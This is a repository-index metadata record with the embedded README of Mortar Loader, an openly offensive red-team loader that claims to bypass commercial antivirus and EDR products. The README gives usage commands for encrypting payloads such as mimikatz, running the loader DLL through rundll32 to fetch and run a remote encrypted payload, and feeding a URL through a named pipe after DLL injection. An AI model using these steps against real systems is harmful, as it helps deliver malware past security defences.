{"id":13450147,"url":"https://github.com/0xsp-SRD/mortar","last_synced_at":"2025-03-23T16:31:02.754Z","repository":{"id":37567036,"uuid":"431916564","full_name":"0xsp-SRD/mortar","owner":"0xsp-SRD","description":"evasion technique to defeat and divert detection and prevention of security products (AV/EDR/XDR)","archived":false,"fork":false,"pushed_at":"2023-12-21T22:00:38.000Z","size":2883,"stargazers_count":1432,"open_issues_count":1,"forks_count":235,"subscribers_count":30,"default_branch":"main","last_synced_at":"2025-01-29T17:44:37.729Z","etag":null,"topics":["bypass-antivirus","bypass-edr","evasion","redteam-tools"],"latest_commit_sha":null,"homepage":"","language":"Pascal","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/0xsp-SRD.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null},"funding":{"github":"lawrenceamer"}},"created_at":"2021-11-25T16:49:47.000Z","updated_at":"2025-01-29T13:46:33.000Z","dependencies_parsed_at":"2024-01-29T09:19:19.982Z","dependency_job_id":"f82cfef0-e86e-409c-a2e9-8f58ad44e25a","html_url":"https://github.com/0xsp-SRD/mortar","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xsp-SRD%2Fmortar","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xsp-SRD%2Fmortar/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xsp-SRD%2Fmortar/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xsp-SRD%2Fmortar/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/0xsp-SRD","download_url":"https://codeload.github.com/0xsp-SRD/mortar/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245130718,"owners_count":20565699,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bypass-antivirus","bypass-edr","evasion","redteam-tools"],"created_at":"2024-07-31T07:00:31.510Z","updated_at":"2025-03-23T16:31:01.925Z","avatar_url":"https://github.com/0xsp-SRD.png","language":"Pascal","funding_links":["https://github.com/sponsors/lawrenceamer"],"categories":["Evasion","Pascal","others","Pentesting"],"sub_categories":["Red Team"],"readme":"[\u003cimg src=\"https://img.shields.io/twitter/follow/zux0x3a?label=follow\u0026style=social\"\u003e](https://twitter.com/zux0x3a)\n\n# Mortar Loader \n\nRed teaming evasion technique to defeat and divert detection and prevention of security products.Mortar Loader performs encryption and decryption PE/Shellcode inside the memory streams and execute it leveraging several injection techniques . \nMortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following: \n\n* Kaspersky  :heavy_check_mark:\n* ESET AV / EDR :heavy_check_mark:\n* Malewarebytes :heavy_check_mark:\n* Mcafee :heavy_check_mark:\n* Windows defender :heavy_check_mark:\n* Cylance :heavy_check_mark:\n* TrendMicro :heavy_check_mark:\n* Bitdefender :heavy_check_mark:\n* Norton Symantec :heavy_check_mark:\n* Sophos EDR :heavy_check_mark:\n\n\n##  Updated features \n\nThe newer version release (v3) has been released with the following features : \n\n* Fileless execution with remote staged encrypted binary or shellcode.\n* Early Bird APC injection.\n* Process masquerading.\n* Supports Named Pipes.\n* Strings and function calls obfuscation.\n* Mortar covert reload subroutine.\n* Delay execution techniques.\n\nFor more technical description, refer to the following blogpost : https://kpmg.com/nl/en/home/insights/2023/12/mortar-loader.html \n\n## Usage \n\n### Encryptor \n\nThe encryptor encrypt C ShellCode and PE binaries and write the output into .enc file. \nyou are allowed to use any payload(MSF/cobalt/Havoc..etc) as you prefer as long it is x64 arch and not RAW. \n\n```\nroot@kali\u003e./encryptor -f mimikatz.exe -o bin.enc \nroot@kali\u003e./encryptor -f shellcode.c -o bin.enc \n```\n\n### Mortar Loader Library\n\nThe newer release leverage several techniques combined with remote payload fetching, recommend to refer to following blogpost to get more insights. \n\nfor quick instructions \n\n```\n# PE Forking\n\n1. host your encrypted binary on remote host. \n2. encode the final URL with base64. \n3. rundll32.exe agressor.dll,viewlogs [BASE64 URL].\n4. covert reload subroutine technique is enabled. \n```\n\ncurrently supports early bird injection in combination with Named Pipes to receive variables for final execution.  \n```\n1. inject Mortar DLL into remote process( DLL injection, Hijacking, sideloading).\n2. connect into the named pipe to supply your URL \n   echo {BASE64 URL} \u003e \\\\.\\pipe\\moj_ML_ntsvcs \n3. payload will be executed once valid value has been recieved. \n```\n\n## Compiling \n\nthe project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads).\n\nfor the encryptor you you can download it from the release section or compile it easily with lazarus ide. \n\n```\n#Debian \u0026 Ubuntu \n\napt install fpc \napt install lazarus-ide \n\n```\n\n## Publications \n\n* The v1 release : https://0xsp.com/security%20research%20\u0026%20development%20(SRD)/defeat-the-castle-bypass-av-advanced-xdr-solutions\n* Mortar Loader v2 features : https://0xsp.com/offensive/mortar-loader-v2/\n* CrestCon Asia 2021 talk : https://www.youtube.com/watch?v=H7EMBz7GLMk\n\n## Sponsor ?\nthe development of mortar or any shared project is an outcome from my personal time.\n- you show continues appreciation of my work. \n- you will get early access to pre-release. \n- ask questions / will be answered. \n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0xsp-SRD%2Fmortar","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F0xsp-SRD%2Fmortar","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0xsp-SRD%2Fmortar/lists"}